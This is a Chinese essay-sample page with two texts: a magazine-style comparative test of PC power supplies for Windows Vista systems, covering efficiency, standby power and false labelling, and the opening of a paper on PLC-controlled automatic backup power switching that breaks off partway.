前言：中文期刊网精心挑选了pc电源范文供你参考和学习，希望我们的参考范文能激发你的文章创作灵感，欢迎阅读。
pc电源范文1
1．配双核更多是为了体验Vista
Vista系统正式之后，新的操作系统对pc硬件提出更高更细致的要求，当前很大一部分用户的电脑配置是无法达到标准要求的。在Vista风潮的影响下，双核及多核处理器平台也越来越受欢迎，甚至不少用户配置一套双核平台，就是想完美地体验Vista系统的魅力。
相信，为了体验Window Vista系统，而选择搭配双核平台的消费者应该不在少数!
2．Vista电源横测更具普遍意义
电脑是由很多不同的硬件组成的，而各个部件能耗应该是随着技术的更新而不断变化的。然而，电源作为电脑的动力源泉，在很长一段时间内，电源规范的变化是随着CPU的功耗变化而变化的。
目前，国内市场上流行电源标准则包括了ATXl2V 1.3、ATXl2V 2.0和ATXl2V 2.2等三个版本，其中较早的ATXl2V 1.3和2.0版电源所占据的市场份额还不少。而最新的ATXl2V 2.2版规范是Intel在ATXl2V 2.0规范的基础上，为双核处理器优化的一个电源版本。因此，如果选择双核平台作为切入点，那么电源规范就可能被限制为ATXl2V 2.2版，这和各个电源版本在市场上的销售情况不符合。
如果我们选择以对电源版本没有明确要求的Vista平台作为切入点，那么横向测试没有对电源版本做出限制，这样的测试更加具有普遍意义。
3．让消费者走出对电源版本理解的误区
由于消费者在选购产品时都或多或少地存在这样一个错误的倾向――那就是认为“电源的版本越新，品质就会越好”。然而，事实上是电源品质的好坏与电源版本没有必然联系。
在作这个结论之前，我们的记者也采访了许多来自厂商方面的专家及Intel亚太地区负责电源技术的工程师，他们都给与了我们同样的答案，那就是“我们不能简单地断定低版本的电源一定比高版本的电源差”。
然而，消费者在购买电源时，销售商却经常以高版本的电源作为卖点，特别是每每到了新电源版本之后，这一情况就更加严重。所以，我们希望能够通过一个不限制电源版本的横向测试，让消费者明白“电源品质的好坏与电源版本没有必然联系”。
基于以上三点，做“Vista平台电源”的横向测试比做“双核平台(ATXl2V2.2版)电源”更意义，也更加贴近电源市场状况以及符合用户的需求，我们何乐而不为呢?
二、Vista平台对电源有什么要求
要“寻找最好的Vista平台”电源，那么，Vista平台到底对电源有什么要求呢?
1．Vista平台的最低要求
右面是微软联合Inter AMD(ATi)、nVIDIA等上游厂商所公布的Vista对计算机硬件的最低配置要求：
从这份仅仅是最低配置的清单来看，windows Vista对硬件的要求将十分苛刻。当然，即使用户的机器配置低于这一要求，也并不意味着无法安装和运行windows Vista，只不过是某些特效无法显示出来而已。
2．多大功率才能“填饱”Vista平台
下面是目前中低端电脑平台的功耗统计，如果按照windows Vista系统对硬件的最低要求搭配一套平台，平台的最低功耗则约为(60+50+25+25+30+30+2.5+2.5)=225w，那么搭配一套Vista平台，电源额定功的最低耗标准应该为250w。
以上的功耗只是个约数，是采用最大值的方式进行，也就是说会对各个电脑部件在满负荷功率时的功耗进行计算，所以只是作为一个参考，估算一下电脑到底需要多大助率的电源。下面是不同等级的硬件平台在Vista系统下进行的测试，所得到的Vista系统对电源功率的要求。
从这个简单的测试中，可以看出Vista平台的功耗至少要在250w以上。根据这些数据，我们来分析一下各部分功耗情况：
CPU部分
入门级的Intel的赛扬D系列或AMD的闪龙3000+以上的CPU即可，它们的功耗都在75w以上，超频后功耗就更大了；而高端的65nm CPU虽然初始功耗可以维持在65w水平，但超频或满负荷运行时功耗是容易超过100w的。所以，不管那个级别的Vista平台，CPU部分的供电都是我们要看重的。而+12V(或双路+12V)输出能力都是特别重要的。如果CPU满载以150w为标准，那么+12V输出就应该在13A以上。
显卡部分
入门级显卡的功耗并不是特别高，不需要额外的供电支持，所以初级Vista平台并不需要电源提供6Pin的PCI E接口；一股而言，显卡接口本身所能提供的最大功耗大约在50w左右，而Vista胜任级Vista平台的显卡功耗通常都超过50w，这时就要求电源支持PCI－E辅助供电。
主板部分
除了本身功耗外，还要考虑内存、声卡、网卡等周边设备的功耗，主板功耗一般在60－100w。这部分功耗主要是有+5V和+3.3V输出所提供的，如果周边设备较多的Vista平台，就要求这两路输出的总功耗在100w以上。
三、我们如何保证测试的公正性
由于本次横向评测，我们没有对电源的版本进行限制，那么该如何去对功率不同且版本不同的电源进行比较呢?这是一个关系到整个横向测试是否公平的问题。
1．按额定功率的不同分组
如果说一款额定功率250W的电源能带动的平台，那么搭配更高功率的电源一般不会存在什么问题。反之，对于额定功率较低的产品，我们并不能说它的性能就不过关。对于不同功率等级的电源而言，对比输出能力的是有没有意义的。所以，我们参照Intel已经颁布的ATXl2V 2.0或2.2版中规范，将根据送测电源的额定功率分为250组、300W组、350W组、400W以上组等四个档次。
2．不同电源版本间如何对比
一般而言，消费者购买电源通常是先确定电源的功率，然后再选择最适合的电源版本。而刚才我们也说过“电源品质的好坏与版本没有必然的联系”。所以对于电源版本并必要进行区别对待，而我们要做的只是给不同版本的电源模拟一个公平的工作环境就可以了。
ATXl2V 1.3、2.0和2.2版规范，三者之间最大的问题在于ATXl2V1.3版不是双路12V输出设计，而另两种规范则是双路12V输出。虽然ATX电源规范之间存在不同，但后续版本具有一定的向前兼容能力的(也就是说，符合ATX12V 2.2版规范的电源也会ATXl2V 2.0规范要求，而符合ATXl2V 2.0规范的也能满足ATXl2V 1.3版要求)，所以在对ATXl2V 2.O和2.2版电源的双+12V 输出合计为单路输出。
3．我们模拟的电源工作环境
右侧是我们在各组电源对比测试中所采用的工作环境(其中，各组环境的输入电压均为220V的市电)：
4．我们的测试项目
功率值和功率因数
功率是电源的首要指标。在直流状态下，功率=电压×电流，但是电源并非一个纯电阻设备，电源的各路输出之间采用的是联合的输出模式，它们是不可能同时达到各自标称的最大值的，所以我们并不能直接地通过铭牌上所标注的电流电压值来判定电源的功率。虽然，绝大部分电源都在电源铭牌上标注其额定功率或最大功率，但是否和实际功率相符，这就需要我们用仪器去检验了。
我们采用的是“FA-828ATE”多功能电子负载仪，该仪器可以模拟电源的真实工作环境，通过实际的负载来检测电源的功率值、功率因数、动态电压和过流保护等。
我们通过让电源工作在指定的负载环境中，测试电源存该模拟工作环境下的各项参数，然后记录电源在不同负载下的功率因数。
电源转换效率
通过PM100功率分析仪记录电源在轻负载、典型负载、全负载等三种状态下的输入和输出功率，然后将输出功率除以输入功率，就得到了电源的转换效率值。测试电源的转换效率，其意义在于能了解电源能为用户节省多少电费，这是ATXl2V标准中衡量电源优劣的一个重要参数。
噪音测试
随着人们环保意识的提高，电源是否静音已经成为消费者选购电源的一项重要的标准。由于很多电源都支持智能温度控制技术，其是可以根据功耗的人小调扇转速，从而控制电源的温度，风速越快，噪音通常也就越大。也就是说，电源的功率越大，噪音就越大。我们在本次横向测试中，通过在将电源放置于密封的无响室中，让电源工作在100W负载状态下，测试其风扇的噪音。
待机功耗测试
待机功耗是电源连接上市电，并连接好一切用电设备(如板卡、存储设备、键盘、鼠标以及USB设备等)后，在不启动的情况下电源所输出的功率值。这项功能够为用户提供了大量方便的同时，也造成了大量的能源浪费，而待机功耗越小，电源就能为国家和用户(特别是网吧业主)节省不少的电能消耗。
其他测试项目
以上的测试项目是我们无法用肉眼来观察得到的电源内在品质，除了这些硬性指标外，我们还需要综合地加入一些常规的测试，如拆解观察用料及做工、接口是否能够满足Vista平台需求以及电源的价格等等。
5．我们采用的评判标准
本次横向测试遵照的标准有两个：测试结果通过IntelATXl2V版本规范所规定最低要求的电源为合格产品，而通过《中国节能产品认证技术要求》 (简称节能认证)的电源则为优秀产品。
250W组
HKC ATXL-250+CE+PFC电源在铭牌上的标注非常详细，上面包括了电源的额定功率、各线路输出的最大和最小电流值，而且还清晰地标注了这款电源符合Intel12V 2.2版规范，铭牌实标方面值得赞赏。这款电源采用了12cm风扇散热，内部配合两块厚实的散热片辅助散热，用料方面也让人满意。性能测试方面，这款电源在待机功耗及噪音方面表现不错，但在转换效率上表现一般。
这款DLP－430A电源最特别之处在于采用了主动式PFC，支持宽幅输出，这对于一款定位在中低端市场的电源来说，实在让人稍感意外。接口方面，电源提供了较为齐全的接口，具备4个D型接口和2个SATA接口。拆开电源可以看到，电源的PCB布局比较成熟，各路元件电路都齐全。性能方面，这款电源整体表现相当出色，完美通过节能标准，转换效率也接近ATX12V 2.2版建议水平，尽管我们测试得到的待机功耗与铭牌上标注的有出入，但综合各项因素我们决定将“编辑选择”的奖项授予它。
全汉精灵是符合ATX12V 2.2规范，功率为250W。该电源最大的特点是采用主动式PFC设计，在市场上200元级电源中较为少见。从实际的拆解测试中，发现采用主动式PFC设计之后内部电路更加简洁。性能测试中，在功率因数上，额定功率较低的精灵王并没有能发挥主动式PFC在原理上的优势，不过还是比被动式PFC电源高出不少；而转换功率和待机功耗方面，这款电源通过7中标节能认证标准，静音效果也相当不错。综合来说，这款电源性价比相当出色，我们决定授予其“编辑选择”奖。
DLP－410A电源是多彩主推的“超霸节能版”系列产品之一。作为入门级产品，符合最新为ATX12V 2.2版规范，额定功率为250W。电源采用12cm静音风扇进行散热，能够保证电源散热效能。拆开电源内部，可以看到这款电源具有完整的EMI滤波电路、双470uF高压滤波电容、被动式PFC及各路保护电路齐全，做工用料方面比较实在。性能测试方面，不同状态下的功率因数表现不错，转换效率介于ATXl2V 2.2标准的最低和建议标准之间，电源的静音效果令人满意。
这款勇敢者CF-300A电源采用ATXl2V 1.3标准设计，其中+12V输出为14A，+5V和+3.3V输出分别为18A和14A。这款电源在铭牌上并没有标明额定功率，让人感觉有些失望。拆解部分，这款电源配备了完整的两级EMI滤波电路和真材实料的被动式PFC，而且各个元件布局整齐有序，内部整体用料基本让人满意。从测试的成绩来看，尽管没有通过中标节能要求，但成绩已经十分接近，而售价仅为128元，整体来看，这是一款不错的入门级电源。
康舒E2 Power 340电源遵循Intel最新的ATXl2V 2.2版标准，额定功率为230W。在电源的铭牌上我们可以看到，康舒E2 Power 340电源通过了多种认证。双路+12V输出可分别达到14A和16A，在同一级别电源中可算是相当强劲，完全可以应付双核CPU的需要。内部做工方面，康舒E2 Power 340电源在用料上的表现比较中规中矩。性能测试中，这款电源在待机功耗及噪音方面表现比较突出，转换效率在ATXl2V 2.2规范最低和建议标准之间；在节能认证方面，满载时没有通过75％标准，稍微有些遗憾。
金河田JHT-S398节能双核电源标称的额定功率为250W，最大功率为350W，采用12cm大口径风扇散热设计，双路12V输出分别为8A和14A，+5V和+3.3V输出分别为18A和17A，联合功率最大为115W，能满足主流Vista平台需求。接口方面，提供2个串行电源接口和3个D型接口。性能方面，满载时待功率因数表现出色，待机功耗及静音效果都让人满意，遗憾的是转换效率没有达到75％的节能标准。综合来看，这款电源是一款相当不错的ATX12V 2.2电源。
勇敢350A电源是采用ATXl2V 1.3版规范设计，黑色外观，整体有起来 简洁大方。散热方面，采用8cm风扇设计搭配大面积网孔，散热设计值得肯定。内部做工方面，元件排列整齐，完整的EMI电路及两块厚实的散热片，用料还是值得肯定的。不过遗憾的是，电源铭牌并未标注额定和最大功率，从功率值测试来看，这应该是一款额定功率在250－300W的电源，从功率因数、转换效率、待机功耗以及噪音等方面的测试结果来看，这款电源的性能表现非常接近于中标节能认证标准，性价比方面还是不错的。
PP355WHD是大水牛主打低端市场的入门产品，符合ATXl2V 2.2规范。PP355WHD使用了完整的两级EMI滤波电路，设计上中规中矩，做工表现则保持了大水牛电源的一贯风格。这款的铭牌标注很详细，额定功率为250W，值得肯定。性能方面，转换功率通过ATXl2V 2.2最低标准，负载下功率因素通过节能认证标准，待机功耗和噪音方面表现令人比较满意；遗憾的是全自载状态下转换效率稍稍低于75％，没能通过节能认证。
荣盛达黄金甲375电源外观朴素，设计也基本上以满足入门级用户的实际运用需求为标准，所以提供的接口不算丰富，提供了1个20+4Pin兼容式接口、3个D型接口和1个SATA接口。电源在铭牌处只标注了最大功率为350W，没有单独标出额定功率，消费者在实际选购时可能会产生疑惑。在实际测试中发现，这款电源通过了ATXl2V 2.2规范测试，节能方面表现一般，而待机功耗高达5.9W，与其标注的“待机功率不大于0.5W”有着较大的差异。
TXL－300+CE+PFC与ATXL－250+CE+PFC最大的区别在于电源的额定功率上，这款电源的额定功率达到了300W，与它们各自型号中的数字标识是一致的，不存在任何误导消费者的嫌疑，而铭牌上各项参数也进行了详细的说明。在铭牌实标方面，HKC电源作了很好的表率。接口能满足大众需求，但没有提供6Pin显卡接口，稍感遗憾。测试方面，该电源通过ATXl2V 2.2规范最低标准，待机功耗和噪音方面表现不错，满载时功率因数符合国家节能标准，但是全自载和轻女载下，转换效率没有通过国家节能标准。
Tt KK400K电源是金刚系列中功率最低的产品，额定功率为300W，采用ATXl2V 2.2版规范设计，其中双路12V的输出能力分别为8A和14A，而+5V和+3.3V输出则为18A和17A，5Vsb输出则为2A。电源采用灰黑色高硬度的钢板外壳搭配12cm大口径风扇，感觉十分稳重，电源的输出线路使用蛇皮线包襄主线，输出接口丰富齐全，对Vista平台的支持较好。内部做工方面，电源电路设计合理严谨，用料扎实。测试方面，该电源通过ATXl2V 2.2规范的最低标准，但距离国家节能标准还有一定距离。
该电源采用ATXl2V 2.2规范设计，鑫谷作为铭牌实标的倡导者，电源铭牌标注非常规范。其中，电源的额定功率为300W，双路12V的输出能力分别为8A和14A，而+5V和+3.3V输出均达到20A，5Vsb输出则为2.5A，输出能力值得肯定。输出接口方面，提供2个SATA和1个PCI-E供电接口，对Vista平台的支持较好。测试方面，该电源通过ATXl2V 2.2规范的最低标准，满载的功率因数符合国家节能标准，但遗憾的是转换效率没有通过国家节能认证规定的75％标准。
JHT-S498电源是金河田目前主推的“节能大师”产品，送测的这款电源是JHT－S498双核静音版，采用ATX12V 2.2版规范设计，额定功率为300W，双路12V的输出能力分别为8A和14A，而+5V和+3.3V输出达到了20A。输出部分，提供了三脚供电接口，符合节能设计需求，提供4个D型和2个SATA接口，能满足主流Vlsta平台需求。性能测试方面，这款电源表现优秀，完美地通过最新的中标节能标准，而待机功耗仅为1.26W，是本次横向测试中表现最突出的一款，所以我们以“编辑选择”的方式推荐给大家。
航嘉冷静王钻石2.2版电源是之前1.3版电源的升级产品，额定功率都为300W。从电源铭牌上看，这款电源已经符合ATXl2V 2.2版标准。接口方面，冷静王钻石2.2版电源提供3个D型接口、4个SATA供电接口，支持8Pin主板供电接口(可拆2个4Pin)和1个6pin显卡供电接口，能较好地满足目前主流vista平台要求。从测试结果来看，这款电源在满自载下功率因数远高于CCEC规定的0.73标准，不同自载下转换效率也完美地通过了国家节能标准，表现相当抢眼，因此我们决定授予其“编辑选择”奖。
350W组
和速核530pQ一样，连核530PE也是鑫谷目前主推的“速核”系列的电源之一，该电源采用ATXl2V 2.2规范设计，额定功率为350W，双路12v的输出能力分别为10A和15A，而+5V和+3.3V输出分别为21A和22A。输出部分，采用(20+4)+8+4Pin输出接口设计，提供2个SATA和1个PCI－E供电接口，接口兼容能力很出色。在实际性能测试中，该电源通过ATXl2V 2.2规范标准，从不同自载下的功率因数值来看，电源对市电利用率比较出色，转换效率上表现一般，而待机功耗和噪音方面表现有待提高。
先马超光静音版电源采用ATXl2V 2.2规范设计，额定功率为350W，双路12v的输出能力分别为10A和13A，+5V和+3.3V输出分别为10A和20A，5Vsb输出则为2.5A。该电源采用(20+4)+8+4Pin输出接口，提供2个SATA和1个PCIE供电接口；各路输出线均采用高档的蛇皮网包襄，拆解电源后，可看到其内部用料也相当豪华，做工用料方面值得肯定。在实际的性能测试中，该电源通过ATXl2V 2.2规范标准，从不同负载下的功率因数值表现不错，而满载和典型负载下电源的转换效率符合节能标准。
全汉黑旋风450电源型号为FSP350－60GLA，采用主动PFC电路设计，额定输出功率为350W，符合Intel ATXl2V 2.2版规范，双路+12V电力输出分别为10A和13A，而+5V和+3.3V输出分别为12A和20A，5Vsb输出最大可达3.5A。黑旋风450提供(20+4)Pin+8Pin主输出接口，提供2个SATA和1个6Pin供电接口，其中各项输出线均用黑色尼龙网包襄，配合黑色外壳，整体视觉效果很好。性能方面，得益于主动式PFC设计，电源的功率因数表现不错，转换效率和待机功耗也通过了国家节能标准，性能表现优秀。
先马超影450电源采用ATXl2V 2.2版规范设计，型号为ATX 330－3，额定功率为350W，最大功率为450W，电源的各路输出和超光静音版是一致。外观方面，该电源采用的是0.8mm SECC外壳搭配12cm静音大风扇，大面积的散热网孔，效果设计合理。接口方面，提供(20+4)+8+4Pin主输出接口，提供 2个SATA和1个6Pin供电接口，能较好地满足主流Vista,平台的需求。性能测试方面，在不同负载下电源对市电利用率较好，但节能及噪音方面表现一般，没有能通过最新的节能标准。
荣盛达巨浪480S采用ATXl2V 2．2规范设计，最大的特点是采用主动式PFC设计，在300元以内的电源产品是比较少见的。电源铭牌方面，只标示了最大功率值，并没有标注额定功率。接口方面，提供8Pin服务器，7个D型接口和2个SATA接口，但没有提供显卡专用接口，比较遗憾。从实际的测试上看，得益于采用主动式PFC设计，功率因数表现不错；转换效率上，轻负载环境下没通过ATXl2V 2.2规范；而待机功耗方面，和国家节能规范还有一定距离。
400W以上组
大水牛牛魔王电源的额定功率为400W，各项标称输出电流符合ATXl2V2.2规范，其中双路12V输出分别为14A和13A，+12V输出功率可达264W，+3.3V和+5V输出均为20A，输出能力能满足高端Vista,平台需求。这款电源采用高档的0.8mm镀黑钛外壳搭配12cm风扇的设计，感觉很高档；内部做工用料方面，也另人满意。性能测试方面，电源的市电的利用效率令人满意，轻载和典型自载下转换效率表现不错，不过满载时没能通过CCEC规定的75％，稍微有点遗憾。
多核DH6是航嘉针对双核平台设计的一款电源，它标称额定功率为400W，各项标称输出电流符合ATXl2V 2.2规范。接口方面，DH6提供了3个D型4Pin设备接头，但提供了 6个SATA和2个6Pin显卡接口，方便玩家组建双卡平台。性能方面，这款电源轻载和典型负载时功率因数均超过了0.8，而不同状态下的转换效率完美地通过国家节能标准，值得一提的是，这款电源是本次测试中唯一一款到达ATXl 2V 2.2推荐标准的产品，尽管噪音方面表现一般，但整体看来也是本次参测产品中表现最突出的一款。
长城双卡王BTX－500SD电源是款针对高端平台发售的产品，采用ATXl2V 2.2版标准设计，输出线采用蛇皮网包裹，提供4个SATA和1个6Pin显卡辅助电源接口，接口兼容能力不错。做工方面，主动PFC控制芯片通过独立的PCB板安插，整体用料豪华。性能方面，得益于主动式PFC设计，电源在不同状态下对市电的利用率都非常高，不同状态下的转换效率均完美通过国家节能标准并且非常接近ATXl 2V 2.2规范推荐级要求，而待机功耗和噪音方面表现也很令人满意。综合来看，这款电源是本次测试中相当优秀的产品。
金刚KK500电源由Tt专门针对DIY用户和超频玩家而量身定做的，符合ATXl2V 2.2和EPSl2V规范，额定功率为400W，最大功率为500W，双组+12v电路输出能力分别为14A和15A，+3.3V和+5V输出别高达30A和28A。在线材和接口方面，每条线材都以加网套束线来保护，提供了20+4Pin主电源接口、2个PCI－E和4个SATA接口，接口扩展能力非常出色。性能测试中，轻自载和典型自载下表现出色，但全自载状态下没有通过节能要求，待机功耗和嗓音的表现距离优秀还有一定距离。
四、我们对于电源横向测试的五个观点
电源制造工艺值得肯定
从本次24款参测电源来看，除了极个别采用差异化设计的产品外，绝大多数产品都能稳定地运行在ATXl2V规范要求的范围内。从拆解测试的情况来看，做工及用料方面，绝大多数电源都选用了品质较高的元件，所有电源都符合国家3C强制认证要求。
功率因数，考验的是电源对市电的利用率。从测试结果来看，总体状况是比较让人放心的，在全负载状态下只有少数几款电源没有到到中标节能认证“高于0.73”的要求。此外，采用主动式PFC设计的电源的功率因数通常较高，当然价格也普遍比同规格的被动式PFC电源高。
根据《中华人民共和国环境噪声污染防治法》的规定，以居住、文教机关为主的区域，昼间噪音低于55dBA、夜间低于45dBA。从测试成绩来看噪音控制方面整体表现出色。这也得益于大口径风扇和智能风速控制技术的普及，本次噪音测试的结果令人满意。
待机功耗问题普遍存在
节能，其内容包括功率因数、转换效率以及待机功耗等三个部分。其中，在功率因数方面，所有的电源产品都是让人放心的。但是，通过本次测试，我们发现参测产品在转换效率和待机功耗方面表现并不令人满意。
1．达到优秀标准的产品不多
本次参测电源在转换效率，能够完美达到ATXl2V 2.2规范建议标准的电源只有航嘉多核DH6一款；而在待机功耗、转换效率及功率因数方面，能够完美通过节能认证的产品也仅7款。从数量比例来看，优秀的产品并不多，但以“节能”为卖点的产品却不在少数!有理由相信，这是有欺骗和误导消费者嫌疑的。
2．为什么待机功耗问题严重
在待机功耗方面，低于中标节能认证标准的共有12款，仅占整体的50％，而待机功耗在3－5W之间的共有10款，而更有甚者超过了10W。对于待机功耗的不重视，已经不只是某一家厂商的问题了，而是整个电源行业都比较普遍，应该引起足够的重视。对于非个别现象，我们认为其原因主要有三个方面：
其一，在CPU频率至上的年代，很多消费者都害怕CPU供电不足，用户购买电源时形成了一个“功率至上”的观念，超频爱好者和游戏发烧友更是如此。可是用户对于功率大小的过度关注，并没有随时间的变化而发生转变。
其二，由于各电源厂家的研发存在差异，研发能力出色的厂家在同等条件下设计出来的产品自然也更出色；即使设计能力相同，电源设计理念的不同，做出来的产品在待机功耗上也会存在差异。
其三，由于我国在电源的待机功耗上并没有任何的强制性规范，在中标节能认证没有强制实行前，电源的待机功耗尚未引起厂商和消费者的足够重视。
相比之下，由于在3c强制认证规范作用下，电源在功率因数和转换效率上整体的良好表现，相关法规的匮乏是导致厂家普遍不重视待机功耗的主要原因。
因此，随着节能时代的到来，我们有足够的理由相信，节能认证和3C认证一样，将成为一个强制性规范。
虚标有了新花样
在国内的电源行业中，虚标已经是一个老掉牙的问题了。最先引起人们注意的是功率虚标，在那之后，电源行业曾发起过一阵提倡“功率实标”的行动。然而，时至今日，在本次电源横向评测中，虚标问题依然存在。不同的是，虚标更加技术化和隐蔽化。
1．虚标有哪些新花样
进入正题之前，我们先解析一下什么叫“虚标”――在现代字典中并没有这个词组，只能分拆解释，其中“虚”包含空(即虚无)和不真实的 (即虚伪)两层意思； “标”则是指记号、商标；合起来的意思是没有记号和商标或者不真实的记号和商标。而刚才我们所说的“功率虚标”，就属于“不真实的记号和商标”的范畴。那么电源的“虚标”还有哪些方式呢?
峰值功率当额定功率宣传
这是目前最为常见的一个情况，商家在销售产品的过程中故意误导消费者，以峰值(最大)功率来吸引消费者，而非介绍电源的额定功率，大多数消费者在对比功率数字和价格后往往为之动心。在送测的电源产品中只标明“最大功率”的产品还有不少，甚至包括一些口碑不错的电源厂商。实际上，业界对于这种做法的默认颇让人无奈。
命名办式的误导
事实上，在型号命名方面各个厂商都有自身的习惯，但产品的命名也可能导致消费者的一些误解。比如，一款电源的额定功率只有250W，但电源的名字或型号中却包含了300W或350W字样，那么消费者就很容易被误导。
电压和电流参数虚标
通过电源的铭牌可以获得很多信息，除了对额定功率的“执着”考究外，还有电压或者电流的虚标可能让消费者防不胜防，因为这样的虚标“技术含量”更高，没有专业的仪器测试是很难发现的。最典型的例子就是，比如某电源的单+12V电流输出为18A，而铭牌上却标示了双路12V，并将电流额定输出值标在20A以上。
功率因数及待机功耗虚标
这种虚标方式是在消费者对电源有一定认识之后，对电源提出了更高的要求后才开始流行的一种虚标方式。其中，功率因数虚标有两层意思：一是将其数值夸大，从而给消费者制造一个高电能利用效率的假象；二是将功率因数与转换效率混淆，这在功率因数值很高的主动式PFC电源中更加常见，但实际上两个概念是完全不一样的。
2．为何虚标能够长期存在
这个问题对电源厂商而言，是非常敏感的。不过，就目前的情况来看，在电源行业中还普遍存在着不同程度的虚标问题，造成这样局面的原因有很多，主要的原因有以下四个方面：
首先，目前我国没有任何的法律规范。对电源产品的参数进行相关的规范，而3C强制认证更多只是对产品的安全性做了要求。严格来说，它并不是电源质量过关的标准。而我国相关行政部门的执法力度的不严格，也给了一些不良厂商“打球”留下了空间。
其次，由于电源的技术门槛相对较低，一些比较急功近利的厂商利用消费者对电源知识的不了解，杜撰出许多虚假的技术概念误导消费群体，比如将功率因素与转换效率混为一谈就是其中的典型。
此外，还有一个是销售市场方面的原因，那就是虚标之后商家可以多赚钱，所以一些不法的商给上游的厂家施加压力，要求虚标。
最后一个原因则是厂商方面的。对于对自己产品有信心和对消费者负责任的厂商而言，标注实际功率不是问题，因为他们本身就是这样做的。但对于一些对自己产品本身可能存在功率不达标，没有信心的厂商则可能会选择不标示实际功率。
值得一提的是，在上述四个方面因素是相互影响的，厂家对虚标问题敏感是因为他们处于整个关系网络的中心。从我们媒体的角度来看，他们既是既得利益者，同时又是受害者，此外还是始作俑者；而作为受害的消费者，在某种意义上而言，其实也是虚标问题的始作俑者。
因此，要解决这个问题，需要各方面的努力硬配合，也包括媒体的监管及传播力量，这正是我们提出这个话题的初衷。
一味炒作高电源版本是在误导消费者
而我们本次参加横向测试的24款电源产品中，其中有22款为ATXl2V 2.2版，而另外2款则为ATXl2V 1.3版，没有ATXl2V 2.0版规范电源参加本次测试，所以我们不能通过数据的对比来衡量不同的电源版本之间的差异，这给我们回答这个问题带来了一定的困难。
1．我们的“自圆其说”及专家观点
从版本的角度，我们可以发现，ATXl2V 1.3版电源与ATXl2V 2.2版电源在性能方面，比如功率因数、转换效率、待机功耗、噪音等方面进行对比，ATXl2V 2.2版电源并不一定比ATXl2V 1.3片反更加强大。当然，单从本次测试结果就能说明“电源品质的好坏与版本没有必然的联系”，理由显得单薄了一些。但是，对于我们开始时提到的――认为“电源的版本越新，品质就会越好”是一个错误的选购观念，现在看来，至少我们已经能够“自圆其说”。
在没有更充足的数据之前，我们就这个问题采访了电源的相关专家，在谈到“与之前的版本相比，在低功耗CPU平台上，ATXl2V 2.2版电源有何优势?”这个问题时，该专家表示，“我们不能简单地断定低版本的电源一定比高版本的电源差，我们认为‘适用的才是最好的’，因为电源规范的演变是与系统平台的功耗息息相关的，而ATXl2V 2.2版电源规范的出台主要是为了应对奔腾DCPU对+12V电流超过20A的需求而制定的(此外是增加了+5VSB的输出)。随着CPU功耗的降低，ATXl2V 2.2版规范正逐渐失去在低功耗CPU平台上的现实意义。”与此同时，我们还采访了电源行业的其他专家，得到的答案也基本上是一致的。
2．ATXl2V 2.2版规范并非王道
从目前的情况来看，ATXl2V 2.2版电源规范并没有充分考虑显卡的功耗需求(最突出的表现譬如nVIDIAGeForce 8800高功耗显卡平台推出之后，电源对显卡辅助支持的窘迫就一览无遗了)，同时兼顾高速硬盘与光驱对稳定电流的需求，以及数码外设产品对+5VSB的电流供应需求。
不可否认，Intel推出ATXl2V 2.2版电源规范的初衷，的确是为了解决不断增长的CPU功耗，ATXl2V 2.2版电源规范的不足，主要表现在没有考虑显卡等其他配件的功耗发展水平，而且与Intel的产品推广步伐不一致，奔腾D处理器的推广现在可以说是Intel的一个败笔，可叹的是很多厂商盲目地跟进炒作ATXl2V 2.2版，进一步误导了整个消费市场。
另外，比较有意思的是，对于一直不断增加的CPU功耗，由于更先进制程工艺的到来，入门级电脑的功耗已经越来越低，而在ATXl2V 2.2版规范中最低的功耗标准只有250W；再加上之前几乎所有的ATX电源规范，无一不是为了解决CPU功耗问题而进行升级的，这让我们有理由怀疑Intel在定制ATX电源规范时的初衷。
我们认为，作为行业标准的定制者应该全方位地考虑标准实行后要面临的所有问题，如果一个标准的推出只是为了解决自家产品的问题，为此而让下游的厂商和终端的消费者来买单的话，这不是一个领导者该有的风范。
3．新的ATXl2V2.3电源规范已经来临
所有的迹象表明，现有的电源规范已经开始跟不上了行业发展的步伐了，将规范升级至更高的版本已经势在必行!在本期横向评测进行的过程中，Intel亚太地区负责电源技术的工程师带来了我们一个好消息：Inel将在近期最新的ATXl2V 2.3版电源规范。
我们已经于第一时间拿到了该技术规范的白皮书资料，下期我们将给大家带来新版电源规范的分析报告，敬请期待。
我们对“Vista电源”的定义
根据微软制定的《Intel桌面平台设计指南》和目前用户对于配置的普遍要求，我们认为一款“Vista”平台应该具备以下特点：
1．电源必须具备250W以上的额定功率，胜任级(Vista得分在4分以上)的平台最好在300W以上；
2．电源+12V输出必须达到14A以上，最好是双路+12V；如果您是数码爱好者，经常需要使用USB接口，电源的+5Vsb输出应该在2.5A以上，而且+5V和+3.3V,总输出功率最好能够达到100W；
3．接口方面，电源主输出接口必须具备24Pin(或20+4Pin)主电源接口，4Pin处理器供电接口，2个以上SATA接口，最好能有6Pin显卡供电接口和8Pin处理器供电接口；
pc电源范文2
【关键词】备用电源自动投入PLC控制自动化
随着科学技术水平的不断提高，现在电力技术的理论和实际应用范围也在不断地拓宽，与此同时一些大中型工厂和企业对供电的质量和可靠性有了更高的要求。在很多具有一级负荷和重要的二级负荷的工厂和企业中，其发电厂或变电所通常需要有备用电源自动投入装置，实现供电系统的自动化，以确保电力系统的快速性、可靠性和安全性。
一、对备用电源自动投入装置的分析
备用电源自动投入装置是当主供电电源发生故障时，将备用电源在设定时间内启动或投入，以保障重要设备电源的供给的自动化设备。
1.1传统备用电源自动投入分析
传统的备用电源自动投入装置系统是由继电器和接触器组成。因其组成结构简单、投入成本低，在一些中小型企业和工厂的供配电系统中很受欢迎。但是也存在着很多缺点：第一、由于传统的备用电源自动投入系统都是由继电器和接触器组成，若要组成一套完整的控制系统，在继电器和接触器的使用数量上很大，而过多的继电器和接触器使得系统的体积变得庞大。第二、继电器和接触器都是电磁式机械动作，因而系统的动作响应能力差，继电器和接触器的触点要频繁地接通和断开动作，使得触点容易出现故障，导致系统的可靠性较低，并且要进行大量的维护和故障的检修工作，过多的继电器和接触器对故障的检修造成了巨大困难。第三、由于系统采用的是纯硬件结构，不具备可编程能力，造成系统的开发周期长。系统不具有通信和监控功能，不能使整个供配电系统有机地组合为一体，不能适用于对自动化水平要求较高的场合。
1.2新型PLC控制下备用电源自动投入分析
新型PLC控制的备用电源自动投入控制器完全克服了上述缺点。PLC是可编程序控制器，由CPU、存储器、输入输出电路和功能模块（如计数器、定时器、通信模块）组成。通过采集现场的数字和模拟量的信息，经CPU处理和计算后，将信息传送至现场以控制设备的工作。其具有快速的运算能力，可实现设备和上位机通信，可利用图形化（如顺序功能图、梯形图、功能模块图）和文本化编程，并且具有软件和硬件的诊断功能。
